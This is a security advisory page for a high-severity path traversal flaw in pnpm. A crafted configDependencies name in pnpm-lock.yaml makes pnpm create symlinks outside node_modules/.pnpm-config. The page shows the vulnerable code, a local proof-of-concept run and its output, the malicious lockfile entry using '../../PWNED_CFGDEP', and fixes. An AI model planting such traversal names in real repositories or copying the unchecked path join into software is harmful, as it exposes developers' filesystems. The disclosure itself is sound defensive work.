pnpm: Path traversal in configDependencies env lockfile allows symlink creation outside node_modules/.pnpm-configGHSA-qrv3-253h-g69c
HIGHGHSA-qrv3-253h-g69c is a high-severity (CVSS 8.2) Path Traversal vulnerability in pnpm. A fix is available for pnpm — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-qrv3-253h-g69c.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-qrv3-253h-g69c by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 388,997 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
pnpmnpmDescription
Summary
pnpm accepts package names from the env lockfile configDependencies section and uses those names directly when creating config dependency symlinks under node_modules/.pnpm-config.
A malicious repository can commit a crafted pnpm-lock.yaml whose env-lockfile document contains a traversal-shaped config dependency name such as ../../PWNED_CFGDEP. During pnpm install, pnpm installs the config dependency and creates a symlink at a path derived from that name.
In local testing against pnpm v11.5.1, this caused pnpm to create a symlink outside the intended config dependency directory:
expected root: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config
actual path: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP
This works with --ignore-scripts, so it does not rely on lifecycle script execution.
Vulnerable behavior
The vulnerable behavior appears to be that configDependencies keys from the env lockfile are trusted as package names and used in filesystem paths without rejecting traversal components.
The relevant pattern is:
const configModulesDir = path.join(opts.rootDir, 'node_modules/.pnpm-config')
for (const [pkgName, pkg] of Object.entries(normalizedDeps)) {
const configDepPath = path.join(configModulesDir, pkgName)
const pkgDirInGlobalVirtualStore = path.join(
globalVirtualStoreDir,
relPath,
'node_modules',
pkgName
)
await symlinkDir(pkgDirInGlobalVirtualStore, configDepPath)
}
If pkgName is attacker-controlled and contains .., then path.join(configModulesDir, pkgName) can resolve outside node_modules/.pnpm-config.
Impact
A malicious project can cause pnpm to create symlinks outside the intended node_modules/.pnpm-config directory during install.
This gives an attacker a filesystem write primitive in the victim project directory, and potentially outside it with deeper traversal payloads, depending on path permissions and platform behavior.
The issue is especially relevant because:
- The malicious input is committed in
pnpm-lock.yaml. - The issue is triggered during
pnpm install. - It works with
--ignore-scripts. - It occurs in the config dependency installation path, before ordinary dependency installation.
- The user only needs to install a malicious or compromised repository.
Local proof of concept
The following local-only PoC creates a temporary project, starts a local fake registry on 127.0.0.1, writes a malicious env-lockfile entry, runs pnpm, and checks whether pnpm created a symlink outside node_modules/.pnpm-config.
Command used:
python3 ../pnpm_configdeps_path_traversal_poc.py \
--pnpm-cmd "node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs" \
--keep 2>&1 | tee /tmp/pnpm-configdeps-poc.log
Observed output:
[+] Test project: /tmp/pnpm-cfgdep-poc-sznwgunx/victim
[+] Local registry: http://127.0.0.1:36545/
[+] Store dir: /tmp/pnpm-cfgdep-poc-sznwgunx/store
[+] Malicious name: '../../PWNED_CFGDEP'
[+] Intended cfg root: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config
[+] Traversal sink: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP
[+] Lockfile written: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/pnpm-lock.yaml
[+] Running: node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs install --ignore-scripts --config.confirmModulesPurge=false --reporter=append-only --store-dir /tmp/pnpm-cfgdep-poc-sznwgunx/store --registry http://127.0.0.1:36545/
pnpm output:
Installing config dependencies...
Installed config dependencies: ../../[email protected], [email protected]
Already up to date
Done in 906ms using pnpm v11.5.1
The PoC then detected the escaped symlink:
[+] Traversal sink status: symlink -> ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP
[VULNERABLE] pnpm created/modified a path derived from a lockfile package name outside node_modules/.pnpm-config
sink = /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP
readlink = ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP
Malicious lockfile structure
The malicious input is an env-lockfile configDependencies key containing traversal components:
importers:
.:
configDependencies:
legit-config-dep:
specifier: '1.0.0'
version: '1.0.0'
'../../PWNED_CFGDEP':
specifier: '1.0.0'
version: '1.0.0'
pnpm accepts the traversal-shaped name and reports it as installed:
Installed config dependencies: ../../[email protected], [email protected]
Security boundary violation
The intended config dependency root was:
/tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config
But pnpm created:
/tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP
This demonstrates that a config dependency name from the lockfile can escape the directory where config dependencies should be linked.
Suggested remediation
Validate every configDependencies key loaded from the env lockfile before using it as a package name or path component.
Recommended fixes:
-
Reject env-lockfile
configDependenciesnames that are not valid npm package names. -
Reject names containing absolute paths,
.components,..components, backslashes, or platform-specific path separators. -
Use containment-checked path joining before creating symlinks:
- resolve the final destination path,
- verify it remains inside
node_modules/.pnpm-config, - reject if it escapes.
-
Apply the same validation to config dependency subdependencies and optional dependency names read from the env lockfile.
-
Intersect env-lockfile
configDependencieswith the effectivepnpm-workspace.yamlconfigDependenciesbefore installing, so extra lockfile-only entries are rejected.
A safe destination check should enforce behavior equivalent to:
const dest = path.resolve(configModulesDir, pkgName)
if (!dest.startsWith(path.resolve(configModulesDir) + path.sep)) {
throw new Error(`Invalid config dependency name: ${pkgName}`)
}
Name validation should happen before this check, not instead of it.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | pnpm | all versions | 10.34.4npm install pnpm@10.34.4 |
| 📦npm | pnpm | ≥ 11.0.0&&< 11.8.0 | 11.8.0npm install pnpm@11.8.0 |
Affected Products
pnpmpnpmDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pnpm, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update pnpm to 10.34.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qrv3-253h-g69c is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This is an Important path traversal vulnerability in pnpm, a package manager used by Red Hat products such as Red Hat Build of Keycloak, Enterprise Application Platform, Red Hat AMQ, and Konflux. A malicious repository containing a specially crafted `pnpm-lock.yaml` file can lead to the creation of arbitrary symlinks…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for GHSA-qrv3-253h-g69c (CC BY 4.0)
Frequently Asked Questions
Is GHSA-qrv3-253h-g69c in your dependencies?
Find it across npm, including transitive dependencies.